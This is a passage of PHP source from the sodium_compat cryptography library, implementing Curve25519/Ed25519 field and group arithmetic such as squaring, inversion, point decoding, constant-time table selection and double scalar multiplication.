self::mul($f1_2, $f3_2, 24); $f1f4_2 = self::mul($f1_2, $f4, 24); $f1f5_4 = self::mul($f1_2, $f5_2, 24); $f1f6_2 = self::mul($f1_2, $f6, 24); $f1f7_4 = self::mul($f1_2, $f7_2, 24); $f1f8_2 = self::mul($f1_2, $f8, 24); $f1f9_76 = self::mul($f9_38, $f1_2, 24); $f2f2 = self::mul($f2, $f2, 24); $f2f3_2 = self::mul($f2_2, $f3, 24); $f2f4_2 = self::mul($f2_2, $f4, 24); $f2f5_2 = self::mul($f2_2, $f5, 24); $f2f6_2 = self::mul($f2_2, $f6, 24); $f2f7_2 = self::mul($f2_2, $f7, 24); $f2f8_38 = self::mul($f8_19, $f2_2, 25); $f2f9_38 = self::mul($f9_38, $f2, 24); $f3f3_2 = self::mul($f3_2, $f3, 24); $f3f4_2 = self::mul($f3_2, $f4, 24); $f3f5_4 = self::mul($f3_2, $f5_2, 24); $f3f6_2 = self::mul($f3_2, $f6, 24); $f3f7_76 = self::mul($f7_38, $f3_2, 24); $f3f8_38 = self::mul($f8_19, $f3_2, 24); $f3f9_76 = self::mul($f9_38, $f3_2, 24); $f4f4 = self::mul($f4, $f4, 24); $f4f5_2 = self::mul($f4_2, $f5, 24); $f4f6_38 = self::mul($f6_19, $f4_2, 25); $f4f7_38 = self::mul($f7_38, $f4, 24); $f4f8_38 = self::mul($f8_19, $f4_2, 25); $f4f9_38 = self::mul($f9_38, $f4, 24); $f5f5_38 = self::mul($f5_38, $f5, 24); $f5f6_38 = self::mul($f6_19, $f5_2, 24); $f5f7_76 = self::mul($f7_38, $f5_2, 24); $f5f8_38 = self::mul($f8_19, $f5_2, 24); $f5f9_76 = self::mul($f9_38, $f5_2, 24); $f6f6_19 = self::mul($f6_19, $f6, 24); $f6f7_38 = self::mul($f7_38, $f6, 24); $f6f8_38 = self::mul($f8_19, $f6_2, 25); $f6f9_38 = self::mul($f9_38, $f6, 24); $f7f7_38 = self::mul($f7_38, $f7, 24); $f7f8_38 = self::mul($f8_19, $f7_2, 24); $f7f9_76 = self::mul($f9_38, $f7_2, 24); $f8f8_19 = self::mul($f8_19, $f8, 24); $f8f9_38 = self::mul($f9_38, $f8, 24); $f9f9_38 = self::mul($f9_38, $f9, 24); $h0 = (int) ($f0f0 + $f1f9_76 + $f2f8_38 + $f3f7_76 + $f4f6_38 + $f5f5_38) << 1; $h1 = (int) ($f0f1_2 + $f2f9_38 + $f3f8_38 + $f4f7_38 + $f5f6_38) << 1; $h2 = (int) ($f0f2_2 + $f1f1_2 + $f3f9_76 + $f4f8_38 + $f5f7_76 + $f6f6_19) << 1; $h3 = (int) ($f0f3_2 + $f1f2_2 + $f4f9_38 + $f5f8_38 + $f6f7_38) << 1; $h4 = (int) ($f0f4_2 + $f1f3_4 + $f2f2 + $f5f9_76 + $f6f8_38 + $f7f7_38) << 1; $h5 = (int) ($f0f5_2 + $f1f4_2 + $f2f3_2 + $f6f9_38 + $f7f8_38) << 1; $h6 = (int) ($f0f6_2 + $f1f5_4 + $f2f4_2 + $f3f3_2 + $f7f9_76 + $f8f8_19) << 1; $h7 = (int) ($f0f7_2 + $f1f6_2 + $f2f5_2 + $f3f4_2 + $f8f9_38) << 1; $h8 = (int) ($f0f8_2 + $f1f7_4 + $f2f6_2 + $f3f5_4 + $f4f4 + $f9f9_38) << 1; $h9 = (int) ($f0f9_2 + $f1f8_2 + $f2f7_2 + $f3f6_2 + $f4f5_2) << 1; $carry0 = ($h0 + (1 << 25)) >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; $carry4 = ($h4 + (1 << 25)) >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry1 = ($h1 + (1 << 24)) >> 25; $h2 += $carry1; $h1 -= $carry1 << 25; $carry5 = ($h5 + (1 << 24)) >> 25; $h6 += $carry5; $h5 -= $carry5 << 25; $carry2 = ($h2 + (1 << 25)) >> 26; $h3 += $carry2; $h2 -= $carry2 << 26; $carry6 = ($h6 + (1 << 25)) >> 26; $h7 += $carry6; $h6 -= $carry6 << 26; $carry3 = ($h3 + (1 << 24)) >> 25; $h4 += $carry3; $h3 -= $carry3 << 25; $carry7 = ($h7 + (1 << 24)) >> 25; $h8 += $carry7; $h7 -= $carry7 << 25; $carry4 = ($h4 + (1 << 25)) >> 26; $h5 += $carry4; $h4 -= $carry4 << 26; $carry8 = ($h8 + (1 << 25)) >> 26; $h9 += $carry8; $h8 -= $carry8 << 26; $carry9 = ($h9 + (1 << 24)) >> 25; $h0 += self::mul($carry9, 19, 5); $h9 -= $carry9 << 25; $carry0 = ($h0 + (1 << 25)) >> 26; $h1 += $carry0; $h0 -= $carry0 << 26; return self::fe_normalize( new ParagonIE_Sodium_Core_Curve25519_Fe( (int) $h0, (int) $h1, (int) $h2, (int) $h3, (int) $h4, (int) $h5, (int) $h6, (int) $h7, (int) $h8, (int) $h9 ) ); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $Z * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_invert(ParagonIE_Sodium_Core_Curve25519_Fe $Z) { $z = clone $Z; $t0 = self::fe_sq($z); $t1 = self::fe_sq($t0); $t1 = self::fe_sq($t1); $t1 = self::fe_mul($z, $t1); $t0 = self::fe_mul($t0, $t1); $t2 = self::fe_sq($t0); $t1 = self::fe_mul($t1, $t2); $t2 = self::fe_sq($t1); for ($i = 1; $i < 5; ++$i) { $t2 = self::fe_sq($t2); } $t1 = self::fe_mul($t2, $t1); $t2 = self::fe_sq($t1); for ($i = 1; $i < 10; ++$i) { $t2 = self::fe_sq($t2); } $t2 = self::fe_mul($t2, $t1); $t3 = self::fe_sq($t2); for ($i = 1; $i < 20; ++$i) { $t3 = self::fe_sq($t3); } $t2 = self::fe_mul($t3, $t2); $t2 = self::fe_sq($t2); for ($i = 1; $i < 10; ++$i) { $t2 = self::fe_sq($t2); } $t1 = self::fe_mul($t2, $t1); $t2 = self::fe_sq($t1); for ($i = 1; $i < 50; ++$i) { $t2 = self::fe_sq($t2); } $t2 = self::fe_mul($t2, $t1); $t3 = self::fe_sq($t2); for ($i = 1; $i < 100; ++$i) { $t3 = self::fe_sq($t3); } $t2 = self::fe_mul($t3, $t2); $t2 = self::fe_sq($t2); for ($i = 1; $i < 50; ++$i) { $t2 = self::fe_sq($t2); } $t1 = self::fe_mul($t2, $t1); $t1 = self::fe_sq($t1); for ($i = 1; $i < 5; ++$i) { $t1 = self::fe_sq($t1); } return self::fe_mul($t1, $t0); } /** * @internal You should not use this directly from another application * * @ref https://github.com/jedisct1/libsodium/blob/68564326e1e9dc57ef03746f85734232d20ca6fb/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1054-L1106 * * @param ParagonIE_Sodium_Core_Curve25519_Fe $z * @return ParagonIE_Sodium_Core_Curve25519_Fe */ public static function fe_pow22523(ParagonIE_Sodium_Core_Curve25519_Fe $z) { $z = self::fe_normalize($z); # fe_sq(t0, z); # fe_sq(t1, t0); # fe_sq(t1, t1); # fe_mul(t1, z, t1); # fe_mul(t0, t0, t1); # fe_sq(t0, t0); # fe_mul(t0, t1, t0); # fe_sq(t1, t0); $t0 = self::fe_sq($z); $t1 = self::fe_sq($t0); $t1 = self::fe_sq($t1); $t1 = self::fe_mul($z, $t1); $t0 = self::fe_mul($t0, $t1); $t0 = self::fe_sq($t0); $t0 = self::fe_mul($t1, $t0); $t1 = self::fe_sq($t0); # for (i = 1; i < 5; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 5; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t0, t1, t0); # fe_sq(t1, t0); $t0 = self::fe_mul($t1, $t0); $t1 = self::fe_sq($t0); # for (i = 1; i < 10; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 10; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t1, t1, t0); # fe_sq(t2, t1); $t1 = self::fe_mul($t1, $t0); $t2 = self::fe_sq($t1); # for (i = 1; i < 20; ++i) { # fe_sq(t2, t2); # } for ($i = 1; $i < 20; ++$i) { $t2 = self::fe_sq($t2); } # fe_mul(t1, t2, t1); # fe_sq(t1, t1); $t1 = self::fe_mul($t2, $t1); $t1 = self::fe_sq($t1); # for (i = 1; i < 10; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 10; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t0, t1, t0); # fe_sq(t1, t0); $t0 = self::fe_mul($t1, $t0); $t1 = self::fe_sq($t0); # for (i = 1; i < 50; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 50; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t1, t1, t0); # fe_sq(t2, t1); $t1 = self::fe_mul($t1, $t0); $t2 = self::fe_sq($t1); # for (i = 1; i < 100; ++i) { # fe_sq(t2, t2); # } for ($i = 1; $i < 100; ++$i) { $t2 = self::fe_sq($t2); } # fe_mul(t1, t2, t1); # fe_sq(t1, t1); $t1 = self::fe_mul($t2, $t1); $t1 = self::fe_sq($t1); # for (i = 1; i < 50; ++i) { # fe_sq(t1, t1); # } for ($i = 1; $i < 50; ++$i) { $t1 = self::fe_sq($t1); } # fe_mul(t0, t1, t0); # fe_sq(t0, t0); # fe_sq(t0, t0); # fe_mul(out, t0, z); $t0 = self::fe_mul($t1, $t0); $t0 = self::fe_sq($t0); $t0 = self::fe_sq($t0); return self::fe_mul($t0, $z); } /** * Subtract two field elements. * * h = f - g * * Preconditions: * |f| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc. * |g| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc. * * Postconditions: * |h| bounded by 1.1*2^26,1.1*2^25,1.1*2^26,1.1*2^25,etc. * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Fe $f * @param ParagonIE_Sodium_Core_Curve25519_Fe $g * @return ParagonIE_Sodium_Core_Curve25519_Fe * @psalm-suppress MixedOperand */ public static function fe_sub(ParagonIE_Sodium_Core_Curve25519_Fe $f, ParagonIE_Sodium_Core_Curve25519_Fe $g) { return self::fe_normalize( new ParagonIE_Sodium_Core_Curve25519_Fe( (int) ($f->e0 - $g->e0), (int) ($f->e1 - $g->e1), (int) ($f->e2 - $g->e2), (int) ($f->e3 - $g->e3), (int) ($f->e4 - $g->e4), (int) ($f->e5 - $g->e5), (int) ($f->e6 - $g->e6), (int) ($f->e7 - $g->e7), (int) ($f->e8 - $g->e8), (int) ($f->e9 - $g->e9) ) ); } /** * Add two group elements. * * r = p + q * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 */ public static function ge_add( ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p, ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q ) { $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1(); $r->X = self::fe_add($p->Y, $p->X); $r->Y = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_mul($r->X, $q->YplusX); $r->Y = self::fe_mul($r->Y, $q->YminusX); $r->T = self::fe_mul($q->T2d, $p->T); $r->X = self::fe_mul($p->Z, $q->Z); $t0 = self::fe_add($r->X, $r->X); $r->X = self::fe_sub($r->Z, $r->Y); $r->Y = self::fe_add($r->Z, $r->Y); $r->Z = self::fe_add($t0, $r->T); $r->T = self::fe_sub($t0, $r->T); return $r; } /** * @internal You should not use this directly from another application * * @ref https://github.com/jedisct1/libsodium/blob/157c4a80c13b117608aeae12178b2d38825f9f8f/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1185-L1215 * @param string $a * @return array * @throws SodiumException * @throws TypeError */ public static function slide($a) { if (self::strlen($a) < 256) { if (self::strlen($a) < 16) { $a = str_pad($a, 256, '0', STR_PAD_RIGHT); } } /** @var array $r */ $r = array(); /** @var int $i */ for ($i = 0; $i < 256; ++$i) { $r[$i] = (int) ( 1 & ( self::chrToInt($a[(int) ($i >> 3)]) >> ($i & 7) ) ); } for ($i = 0;$i < 256;++$i) { if ($r[$i]) { for ($b = 1;$b <= 6 && $i + $b < 256;++$b) { if ($r[$i + $b]) { if ($r[$i] + ($r[$i + $b] << $b) <= 15) { $r[$i] += $r[$i + $b] << $b; $r[$i + $b] = 0; } elseif ($r[$i] - ($r[$i + $b] << $b) >= -15) { $r[$i] -= $r[$i + $b] << $b; for ($k = $i + $b; $k < 256; ++$k) { if (!$r[$k]) { $r[$k] = 1; break; } $r[$k] = 0; } } else { break; } } } } } return $r; } /** * @internal You should not use this directly from another application * * @param string $s * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3 * @throws SodiumException * @throws TypeError */ public static function ge_frombytes_negate_vartime($s) { static $d = null; if (!$d) { $d = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d); } # fe_frombytes(h->Y,s); # fe_1(h->Z); $h = new ParagonIE_Sodium_Core_Curve25519_Ge_P3( self::fe_0(), self::fe_frombytes($s), self::fe_1() ); # fe_sq(u,h->Y); # fe_mul(v,u,d); # fe_sub(u,u,h->Z); /* u = y^2-1 */ # fe_add(v,v,h->Z); /* v = dy^2+1 */ $u = self::fe_sq($h->Y); /** @var ParagonIE_Sodium_Core_Curve25519_Fe $d */ $v = self::fe_mul($u, $d); $u = self::fe_sub($u, $h->Z); /* u = y^2 - 1 */ $v = self::fe_add($v, $h->Z); /* v = dy^2 + 1 */ # fe_sq(v3,v); # fe_mul(v3,v3,v); /* v3 = v^3 */ # fe_sq(h->X,v3); # fe_mul(h->X,h->X,v); # fe_mul(h->X,h->X,u); /* x = uv^7 */ $v3 = self::fe_sq($v); $v3 = self::fe_mul($v3, $v); /* v3 = v^3 */ $h->X = self::fe_sq($v3); $h->X = self::fe_mul($h->X, $v); $h->X = self::fe_mul($h->X, $u); /* x = uv^7 */ # fe_pow22523(h->X,h->X); /* x = (uv^7)^((q-5)/8) */ # fe_mul(h->X,h->X,v3); # fe_mul(h->X,h->X,u); /* x = uv^3(uv^7)^((q-5)/8) */ $h->X = self::fe_pow22523($h->X); /* x = (uv^7)^((q-5)/8) */ $h->X = self::fe_mul($h->X, $v3); $h->X = self::fe_mul($h->X, $u); /* x = uv^3(uv^7)^((q-5)/8) */ # fe_sq(vxx,h->X); # fe_mul(vxx,vxx,v); # fe_sub(check,vxx,u); /* vx^2-u */ $vxx = self::fe_sq($h->X); $vxx = self::fe_mul($vxx, $v); $check = self::fe_sub($vxx, $u); /* vx^2 - u */ # if (fe_isnonzero(check)) { # fe_add(check,vxx,u); /* vx^2+u */ # if (fe_isnonzero(check)) { # return -1; # } # fe_mul(h->X,h->X,sqrtm1); # } if (self::fe_isnonzero($check)) { $check = self::fe_add($vxx, $u); /* vx^2 + u */ if (self::fe_isnonzero($check)) { throw new RangeException('Internal check failed.'); } $h->X = self::fe_mul( $h->X, ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$sqrtm1) ); } # if (fe_isnegative(h->X) == (s[31] >> 7)) { # fe_neg(h->X,h->X); # } $i = self::chrToInt($s[31]); if (self::fe_isnegative($h->X) === ($i >> 7)) { $h->X = self::fe_neg($h->X); } # fe_mul(h->T,h->X,h->Y); $h->T = self::fe_mul($h->X, $h->Y); return $h; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 */ public static function ge_madd( ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R, ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p, ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q ) { $r = clone $R; $r->X = self::fe_add($p->Y, $p->X); $r->Y = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_mul($r->X, $q->yplusx); $r->Y = self::fe_mul($r->Y, $q->yminusx); $r->T = self::fe_mul($q->xy2d, $p->T); $t0 = self::fe_add(clone $p->Z, clone $p->Z); $r->X = self::fe_sub($r->Z, $r->Y); $r->Y = self::fe_add($r->Z, $r->Y); $r->Z = self::fe_add($t0, $r->T); $r->T = self::fe_sub($t0, $r->T); return $r; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 */ public static function ge_msub( ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $R, ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p, ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $q ) { $r = clone $R; $r->X = self::fe_add($p->Y, $p->X); $r->Y = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_mul($r->X, $q->yminusx); $r->Y = self::fe_mul($r->Y, $q->yplusx); $r->T = self::fe_mul($q->xy2d, $p->T); $t0 = self::fe_add($p->Z, $p->Z); $r->X = self::fe_sub($r->Z, $r->Y); $r->Y = self::fe_add($r->Z, $r->Y); $r->Z = self::fe_sub($t0, $r->T); $r->T = self::fe_add($t0, $r->T); return $r; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2 */ public static function ge_p1p1_to_p2(ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p) { $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P2(); $r->X = self::fe_mul($p->X, $p->T); $r->Y = self::fe_mul($p->Y, $p->Z); $r->Z = self::fe_mul($p->Z, $p->T); return $r; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3 */ public static function ge_p1p1_to_p3(ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 $p) { $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P3(); $r->X = self::fe_mul($p->X, $p->T); $r->Y = self::fe_mul($p->Y, $p->Z); $r->Z = self::fe_mul($p->Z, $p->T); $r->T = self::fe_mul($p->X, $p->Y); return $r; } /** * @internal You should not use this directly from another application * * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2 */ public static function ge_p2_0() { return new ParagonIE_Sodium_Core_Curve25519_Ge_P2( self::fe_0(), self::fe_1(), self::fe_1() ); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P2 $p * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 */ public static function ge_p2_dbl(ParagonIE_Sodium_Core_Curve25519_Ge_P2 $p) { $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1(); $r->X = self::fe_sq($p->X); $r->Z = self::fe_sq($p->Y); $r->T = self::fe_sq2($p->Z); $r->Y = self::fe_add($p->X, $p->Y); $t0 = self::fe_sq($r->Y); $r->Y = self::fe_add($r->Z, $r->X); $r->Z = self::fe_sub($r->Z, $r->X); $r->X = self::fe_sub($t0, $r->Y); $r->T = self::fe_sub($r->T, $r->Z); return $r; } /** * @internal You should not use this directly from another application * * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3 */ public static function ge_p3_0() { return new ParagonIE_Sodium_Core_Curve25519_Ge_P3( self::fe_0(), self::fe_1(), self::fe_1(), self::fe_0() ); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @return ParagonIE_Sodium_Core_Curve25519_Ge_Cached */ public static function ge_p3_to_cached(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p) { static $d2 = null; if ($d2 === null) { $d2 = ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$d2); } /** @var ParagonIE_Sodium_Core_Curve25519_Fe $d2 */ $r = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached(); $r->YplusX = self::fe_add($p->Y, $p->X); $r->YminusX = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_copy($p->Z); $r->T2d = self::fe_mul($p->T, $d2); return $r; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2 */ public static function ge_p3_to_p2(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p) { return new ParagonIE_Sodium_Core_Curve25519_Ge_P2( self::fe_copy($p->X), self::fe_copy($p->Y), self::fe_copy($p->Z) ); } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h * @return string * @throws SodiumException * @throws TypeError */ public static function ge_p3_tobytes(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $h) { $recip = self::fe_invert($h->Z); $x = self::fe_mul($h->X, $recip); $y = self::fe_mul($h->Y, $recip); $s = self::fe_tobytes($y); $s[31] = self::intToChr( self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7) ); return $s; } /** * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 */ public static function ge_p3_dbl(ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p) { $q = self::ge_p3_to_p2($p); return self::ge_p2_dbl($q); } /** * @return ParagonIE_Sodium_Core_Curve25519_Ge_Precomp */ public static function ge_precomp_0() { return new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp( self::fe_1(), self::fe_1(), self::fe_0() ); } /** * @internal You should not use this directly from another application * * @param int $b * @param int $c * @return int */ public static function equal($b, $c) { return (int) ((($b ^ $c) - 1) >> 31) & 1; } /** * @internal You should not use this directly from another application * * @param int|string $char * @return int (1 = yes, 0 = no) * @throws SodiumException * @throws TypeError */ public static function negative($char) { if (is_int($char)) { return ($char >> 63) & 1; } $x = self::chrToInt(self::substr($char, 0, 1)); return (int) ($x >> 63); } /** * Conditional move * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $t * @param ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $u * @param int $b * @return ParagonIE_Sodium_Core_Curve25519_Ge_Precomp */ public static function cmov( ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $t, ParagonIE_Sodium_Core_Curve25519_Ge_Precomp $u, $b ) { if (!is_int($b)) { throw new InvalidArgumentException('Expected an integer.'); } return new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp( self::fe_cmov($t->yplusx, $u->yplusx, $b), self::fe_cmov($t->yminusx, $u->yminusx, $b), self::fe_cmov($t->xy2d, $u->xy2d, $b) ); } /** * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $t * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $u * @param int $b * @return ParagonIE_Sodium_Core_Curve25519_Ge_Cached */ public static function ge_cmov_cached( ParagonIE_Sodium_Core_Curve25519_Ge_Cached $t, ParagonIE_Sodium_Core_Curve25519_Ge_Cached $u, $b ) { $b &= 1; $ret = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached(); $ret->YplusX = self::fe_cmov($t->YplusX, $u->YplusX, $b); $ret->YminusX = self::fe_cmov($t->YminusX, $u->YminusX, $b); $ret->Z = self::fe_cmov($t->Z, $u->Z, $b); $ret->T2d = self::fe_cmov($t->T2d, $u->T2d, $b); return $ret; } /** * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached[] $cached * @param int $b * @return ParagonIE_Sodium_Core_Curve25519_Ge_Cached * @throws SodiumException */ public static function ge_cmov8_cached(array $cached, $b) { // const unsigned char bnegative = negative(b); // const unsigned char babs = b - (((-bnegative) & b) * ((signed char) 1 << 1)); $bnegative = self::negative($b); $babs = $b - (((-$bnegative) & $b) << 1); // ge25519_cached_0(t); $t = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached( self::fe_1(), self::fe_1(), self::fe_1(), self::fe_0() ); // ge25519_cmov_cached(t, &cached[0], equal(babs, 1)); // ge25519_cmov_cached(t, &cached[1], equal(babs, 2)); // ge25519_cmov_cached(t, &cached[2], equal(babs, 3)); // ge25519_cmov_cached(t, &cached[3], equal(babs, 4)); // ge25519_cmov_cached(t, &cached[4], equal(babs, 5)); // ge25519_cmov_cached(t, &cached[5], equal(babs, 6)); // ge25519_cmov_cached(t, &cached[6], equal(babs, 7)); // ge25519_cmov_cached(t, &cached[7], equal(babs, 8)); for ($x = 0; $x < 8; ++$x) { $t = self::ge_cmov_cached($t, $cached[$x], self::equal($babs, $x + 1)); } // fe25519_copy(minust.YplusX, t->YminusX); // fe25519_copy(minust.YminusX, t->YplusX); // fe25519_copy(minust.Z, t->Z); // fe25519_neg(minust.T2d, t->T2d); $minust = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached( self::fe_copy($t->YminusX), self::fe_copy($t->YplusX), self::fe_copy($t->Z), self::fe_neg($t->T2d) ); return self::ge_cmov_cached($t, $minust, $bnegative); } /** * @internal You should not use this directly from another application * * @param int $pos * @param int $b * @return ParagonIE_Sodium_Core_Curve25519_Ge_Precomp * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayAccess * @psalm-suppress MixedArrayOffset */ public static function ge_select($pos = 0, $b = 0) { static $base = null; if ($base === null) { $base = array(); /** @var int $i */ foreach (self::$base as $i => $bas) { for ($j = 0; $j < 8; ++$j) { $base[$i][$j] = new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp( ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($bas[$j][0]), ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($bas[$j][1]), ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($bas[$j][2]) ); } } } /** @var array> $base */ if (!is_int($pos)) { throw new InvalidArgumentException('Position must be an integer'); } if ($pos < 0 || $pos > 31) { throw new RangeException('Position is out of range [0, 31]'); } $bnegative = self::negative($b); $babs = $b - (((-$bnegative) & $b) << 1); $t = self::ge_precomp_0(); for ($i = 0; $i < 8; ++$i) { $t = self::cmov( $t, $base[$pos][$i], self::equal($babs, $i + 1) ); } $minusT = new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp( self::fe_copy($t->yminusx), self::fe_copy($t->yplusx), self::fe_neg($t->xy2d) ); return self::cmov($t, $minusT, $bnegative); } /** * Subtract two group elements. * * r = p - q * * @internal You should not use this directly from another application * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p * @param ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q * @return ParagonIE_Sodium_Core_Curve25519_Ge_P1p1 */ public static function ge_sub( ParagonIE_Sodium_Core_Curve25519_Ge_P3 $p, ParagonIE_Sodium_Core_Curve25519_Ge_Cached $q ) { $r = new ParagonIE_Sodium_Core_Curve25519_Ge_P1p1(); $r->X = self::fe_add($p->Y, $p->X); $r->Y = self::fe_sub($p->Y, $p->X); $r->Z = self::fe_mul($r->X, $q->YminusX); $r->Y = self::fe_mul($r->Y, $q->YplusX); $r->T = self::fe_mul($q->T2d, $p->T); $r->X = self::fe_mul($p->Z, $q->Z); $t0 = self::fe_add($r->X, $r->X); $r->X = self::fe_sub($r->Z, $r->Y); $r->Y = self::fe_add($r->Z, $r->Y); $r->Z = self::fe_sub($t0, $r->T); $r->T = self::fe_add($t0, $r->T); return $r; } /** * Convert a group element to a byte string. * * @param ParagonIE_Sodium_Core_Curve25519_Ge_P2 $h * @return string * @throws SodiumException * @throws TypeError */ public static function ge_tobytes(ParagonIE_Sodium_Core_Curve25519_Ge_P2 $h) { $recip = self::fe_invert($h->Z); $x = self::fe_mul($h->X, $recip); $y = self::fe_mul($h->Y, $recip); $s = self::fe_tobytes($y); $s[31] = self::intToChr( self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7) ); return $s; } /** * @internal You should not use this directly from another application * * @param string $a * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A * @param string $b * @return ParagonIE_Sodium_Core_Curve25519_Ge_P2 * @throws SodiumException * @throws TypeError * @psalm-suppress MixedArgument * @psalm-suppress MixedArrayAccess */ public static function ge_double_scalarmult_vartime( $a, ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A, $b ) { /** @var array $Ai */ $Ai = array(); /** @var array $Bi */ static $Bi = array(); if (!$Bi) { for ($i = 0; $i < 8; ++$i) { $Bi[$i] = new ParagonIE_Sodium_Core_Curve25519_Ge_Precomp( ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$base2[$i][0]), ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$base2[$i][1]), ParagonIE_Sodium_Core_Curve25519_Fe::fromArray(self::$base2[$i][2]) ); } } for ($i = 0; $i < 8; ++$i) { $Ai[$i] = new ParagonIE_Sodium_Core_Curve25519_Ge_Cached( self::fe_0(), self::fe_0(), self::fe_0(), self::fe_0() ); } # slide(aslide,a); # slide(bslide,b); /** @var array $aslide */ $aslide = self::slide($a); /** @var array $bslide */ $bslide = self::slide($b); # ge_p3_to_cached(&Ai[0],A); # ge_p3_dbl(&t,A); ge_p1p1_to_p3(&A2,&t); $Ai[0] = self::ge_p3_to_cached($A); $t = self::ge_p3_dbl($A); $A2 = self::ge_p1p1_to_p3($t); # ge_add(&t,&A2,&Ai[0]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[1],&u); # ge_add(&t,&A2,&Ai[1]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[2],&u); # ge_add(&t,&A2,&Ai[2]); 